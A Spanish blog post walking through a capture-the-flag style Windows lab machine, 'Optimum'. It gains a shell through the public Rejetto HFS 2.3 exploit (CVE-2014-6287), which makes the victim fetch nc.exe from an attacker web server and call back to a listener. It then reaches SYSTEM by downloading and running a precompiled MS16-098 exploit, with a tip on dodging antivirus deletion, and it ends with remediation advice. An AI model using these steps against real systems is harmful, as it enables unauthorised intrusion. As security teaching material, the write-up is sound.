Entrada

Optimum

Windows Easy de libro: RCE en Rejetto HFS 2.3 (CVE-2014-6287) para entrar como kostas y escalada a SYSTEM con el fallo de kernel MS16-098. Enumerar el banner, buscar el exploit y encadenar con la falta de parches.

Optimum

Publicado por Jaime Hereza Niño

Publicado 03/10/2026
4 min de lectura
Mi puntuación
50662 votos
MáquinaSODificultadIP
OptimumWindowsEasy10.10.10.8

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.10.10.8 optimum

Resumen

Optimum es una Windows Easy de manual, de esas que recorres de un tirón. Un nmap saca un único puerto y el banner lo dice todo: Rejetto HTTP File Server 2.3, un servicio que arrastra un RCE público desde 2014 y te da shell sin tocar credenciales. La escalada es igual de directa: un Windows al que le faltan parches, donde un exploit de kernel te sube a SYSTEM.

Es el patrón clásico de caja negra llevado al mínimo: enumerar el servicio, fijar la versión exacta, buscar el exploit que encaja y rematar con un fallo de parcheo. Ideal para interiorizar el método antes de ir a cosas más enrevesadas.

Vulnerabilidad

Dos fallos, uno para entrar y otro para reinar, y los dos nacen del mismo pecado: software sin actualizar.

01 · RCE en Rejetto HFS 2.3 — CVE-2014-6287 (Crítica · 9.8)

El HFS de Rejetto interpreta macros dentro de las búsquedas. Su rutina basada en expresiones regulares gestiona mal un byte nulo (%00): colándolo se rompe el parseo y se inyecta la macro {.exec.}, que ejecuta comandos del sistema sin autenticación. Afecta a toda la rama 2.3x y está corregido a partir de la 2.3c.

02 · Escalada local por MS16-098 — CVE-2016-3309 (Alta · 7.8)

Un desbordamiento de enteros en el driver de modo kernel win32k.sys. Un usuario sin privilegios corrompe memoria del kernel y acaba ejecutando código como NT AUTHORITY\SYSTEM. Microsoft lo parcheó en agosto de 2016 (boletín MS16-098, KB3178466), pero la máquina nunca lo aplicó. Para explotarlo uso el binario ya compilado 41020.exe en lugar de compilarlo a mano.

Reconocimiento

Arranco como en cualquier caja negra: qué hay abierto. Un descubrimiento de puertos completo contra la víctima

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess optimum
PuertoServicioVersión
80httpHttpFileServer httpd 2.3

Un único puerto, el 80, sirviendo HttpFileServer httpd 2.3. No hay más superficie: todo el juego está en ese servicio web, así que toca identificarlo con precisión.

Enumeración

Con el puerto localizado, afino versión y vulnerabilidades del servicio con los scripts de Nmap

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p 80 -sCV -n --script "http-vuln*" --version-intensity 9 optimum
80/tcp open http HttpFileServer httpd 2.3

Queda confirmado: Rejetto HFS 2.3. Con la versión exacta, el paso natural es buscar el exploit que encaja — en Exploit-DB o directamente con searchsploit. El que sirve es el 39161.py («HFS 2.3.x — Remote Command Execution»), que explota el CVE-2014-6287.

Explotación

La explotación es directa. Me traigo el exploit con searchsploit

┌──(jaime㉿kali)-[~]└─$ searchsploit -m windows/remote/39161.py

Paso 1 — leer el exploit. Antes de lanzarlo lo abro: deja claras tres cosas que hay que preparar

  1. Ajustar lhost a la IP de mi máquina y lport al puerto de escucha (por defecto 443).
  2. Levantar un servidor web en http://MI_IP:80 sirviendo nc.exe, que es lo que la víctima descargará.
  3. Ponerme en escucha con nc en el puerto elegido.

Paso 2 — montar la infraestructura. Sirvo el nc.exe y abro el listener

┌──(jaime㉿kali)-[~]└─$ python3 -m http.server 80
┌──(jaime㉿kali)-[~]└─$ nc -lvnp 443

Paso 3 — disparar. Lanzo el exploit contra el HFS

┌──(jaime㉿kali)-[~]└─$ python3 39161.py optimum 80

Por detrás, el RCE aprovecha la macro {.exec.} para obligar a la víctima a conectarse a mi servidor web, descargar el nc.exe al disco y, en una segunda petición, ejecutarlo apuntando a mi listener.

Paso 4 — shell. El listener recibe la conexión

Connection received on optimum PS C:\Users\kostas\Desktop> whoami optimum\kostas

PowerShell como kostas. Ya estoy dentro; toca la primera flag y preparar la escalada.

Escalada de privilegios

Como kostas hago una post-explotación rápida para situarme. El clásico systeminfo me da sistema, parches y arquitectura

PS C:\> systeminfo > systeminfo.txt

Me llevo ese systeminfo.txt a mi máquina y lo paso por un analizador de parches (windows-exploit-suggester) para ver qué falta por aplicar.

Paso 1 — elegir el exploit. El suggester escupe una lista de vulnerabilidades candidatas. Me quedo con

MS16-098 — Security Update for Windows Kernel-Mode Drivers (KB3178466)

Aunque no lo etiquete como «privilege escalation», al ser un integer overflow en win32k.sys dispara código en modo kernel y sube a SYSTEM.

Paso 2 — traer el binario. Descargo el exploit de Exploit-DB (41020); puedo compilarlo yo o coger el precompilado. Opto por el segundo: 41020.exe.

Paso 3 — subirlo a la víctima. Levanto un servidor web en mi máquina y lo bajo desde la box. Importante: guardarlo en el Desktop de kostas — en Temp el antivirus lo borra al vuelo

PS C:\> powershell wget "http://MI_IP/41020.exe" -OutFile "C:\Users\kostas\Desktop\41020.exe"

Paso 4 — ejecutar. Lanzo el binario y la corrupción en win32k.sys hace el resto

PS C:\Users\kostas\Desktop> .\41020.exe PS C:\Users\kostas\Desktop> whoami nt authority\system

Soy SYSTEM: control total de la máquina.

Flags

Con acceso a los dos mundos, recojo las banderas. La de usuario, en el escritorio de kostas

PS C:\> type C:\Users\kostas\Desktop\user.txt

Y la de root, ya como SYSTEM, en el de Administrator

PS C:\> type C:\Users\Administrator\Desktop\root.txt

Cómo se arregla

El fallo de fondo es software obsoleto y ausencia de gestión de parches. Por capas:

  • Actualizar Rejetto HFS: a la 2.3c o superior (o migrar a una alternativa mantenida); las versiones corregidas sanean el byte nulo (%00) y cierran la inyección en las macros.
  • Aplicar MS16-098 (KB3178466): parcheado por Microsoft en agosto de 2016. Con Windows Update al día, 41020.exe deja de funcionar.
  • Menor privilegio: no exponer servicios web bajo cuentas interactivas con escritura en rutas del sistema; mejor cuentas de servicio restringidas o contenedores.
  • Segmentación y perímetro: nada de servicios de ficheros directos a Internet sin autenticación previa, proxy inverso o VPN, y restringir conexiones salientes para dificultar las reverse shells.

Conclusiones

Mantener un servicio obsoleto expuesto es una sentencia: Rejetto HFS 2.3 arrastra un RCE público desde 2014 que da ejecución remota en segundos y sin credenciales.

La lección de método: ante un banner claro en el puerto 80 no hace falta fuzzing exhaustivo — tirar de searchsploit o de los scripts http-vuln* de Nmap acorta el camino hasta el acceso inicial.

Y el vector de escalada es pura higiene de parches: MS16-098 llevaba años publicado con la máquina aún vulnerable. En Windows, un systeminfo y un analizador de parches revelan caminos triviales a SYSTEM cuando falta mantenimiento. Actualizar habría cortado las dos mitades del ataque.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.